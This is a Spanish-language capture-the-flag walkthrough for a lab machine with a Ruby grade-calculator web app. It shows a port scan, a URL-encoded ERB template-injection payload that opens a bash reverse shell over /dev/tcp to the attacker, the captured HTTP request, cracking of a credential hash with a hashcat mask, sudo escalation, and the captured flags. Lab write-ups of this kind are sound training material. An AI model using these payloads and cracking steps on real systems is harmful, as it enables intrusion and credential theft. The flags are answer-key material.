Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-10 09:05 EDT
Nmap scan report for 10.10.11.253
Host is up (0.037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open  http    nginx
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4
(95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%),
AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4)
(93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   43.37 ms 10.10.14.1
2   43.43 ms 10.10.11.253

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.23 seconds
```

Puerto 80

Vamos a `/weighted-grade/`...

Una vez sabemos que Ruby es vulnerable a codigos de inyeccion, abrimos BurpSuit capturamos la peticion ingresando en la tabla donde hay que colocar numero que llegue hasta 100 para que funcione y en la de texto lo que sea...

```
Category     Grade  Weight (%)
a                   0                   100
a                   0                   0
a                   0                   0
a                   0                   0
a                   0                   0
```

Una vez que capturemos con el BurpSuit esa peticion, modificaremos la seccion de `Category` para ahi inyectar codigo de Ruby

El codigo a pelo no te va a dejar `<%= 7 * 7 %>` por lo que lo codificamos en URL pero haciendonos una Reverse Shell de la siguiente manera...

```
<%= IO.popen('bash -c "sh -i >& /dev/tcp/<IP>/<PORT> 0>&1"').readlines()  %>

%3c%25%3d%20%49%4f%2e%70%6f%70%65%6e%28%27%62%61%73%68%20%2d%63%20%22%73%68%20%2d%69%
20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%38%30%2f%37%37%37%3
7%20%30%3e%26%31%22%27%29%2e%72%65%61%64%6c%69%6e%65%73%28%29%20%20%25%3e%0a
```

Pero si lo metemos ahi directamente no ira, por lo que al principio y al final le añadimos algo de texto...

```
test%3c%25%3d%20%49%4f%2e%70%6f%70%65%6e%28%27%62%61%73%68%20%2d%63%20%22%73%68%20%2d
%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%38%30%2f%37%37%
37%37%20%30%3e%26%31%22%27%29%2e%72%65%61%64%6c%69%6e%65%73%28%29%20%20%25%3e%0atest
```

Y esto si funcionaria...

Info:

```
POST /weighted-grade-calc HTTP/1.1

Host: 10.10.11.253

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 410

Origin: http://10.10.11.253

Connection: close

Referer: http://10.10.11.253/weighted-grade-calc

Upgrade-Insecure-Requests: 1



category1=test%3c%25%3d%20%49%4f%2e%70%6f%70%65%6e%28%27%62%61%73%68%20%2d%63%20%22%7
3%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%38%30
%2f%37%37%37%37%20%30%3e%26%31%22%27%29%2e%72%65%61%64%6c%69%6e%65%73%28%29%20%20%25%
3e%0atest&grade1=0&weight1=100&category2=aa&grade2=0&weight2=0&category3=a&grade3=0&w
eight3=0&category4=a&grade4=0&weight4=0&category5=a&grade5=0&weight5=0
```

Una vez echo esto, tendriamos una shell con el usuario `susan` la sanitizamos...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
```

```
# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Ahora leemos la flag en la home de este usuario...

user.txt (flag1)

```
2368118f5426a880d7918d5a522156f7
```

Si nos vamos a `Migration` y leemos el .db llamado `pupilpath_credentials.db`...

```
��^�ableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
a�\
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
```

Nos aparece lo que parece ser la contraseña de `susan`

```
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
```

Si ponemos el siguiente comando...

```
find / -name susan -type f 2>/dev/null | grep -v "proc/*" | grep -v "sys/*"
```

Nos mostrara lo siguiente...

```
/var/mail/susan
```

Y si leemos eso nos muestra...

```
Due to our transition to Jupiter Grades because of the PupilPath data breach, I
thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to
make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and
1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering
our university with the platform.

- Tina, your delightful student
```

Por lo que para Deshashear ese hash que encontramos con estas pistas haremos lo siguiente...

```
hashcat -m  1400 -a 3 hash susan_nasus_?d?d?d?d?d?d?d?d?d
```

Info:

```
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

Password = susan_nasus_413759210
```

Si hacemos `sudo -l` veremos que tenemos todos los permisos como `root` por lo que hacemos lo siguiente...

```
sudo su
```

Y ya seriamos `root` por lo que vamos a `/root/` y leemos la flag...

> root.txt (flag2)

```
4a918b542b359a8bb20666a315217f39
```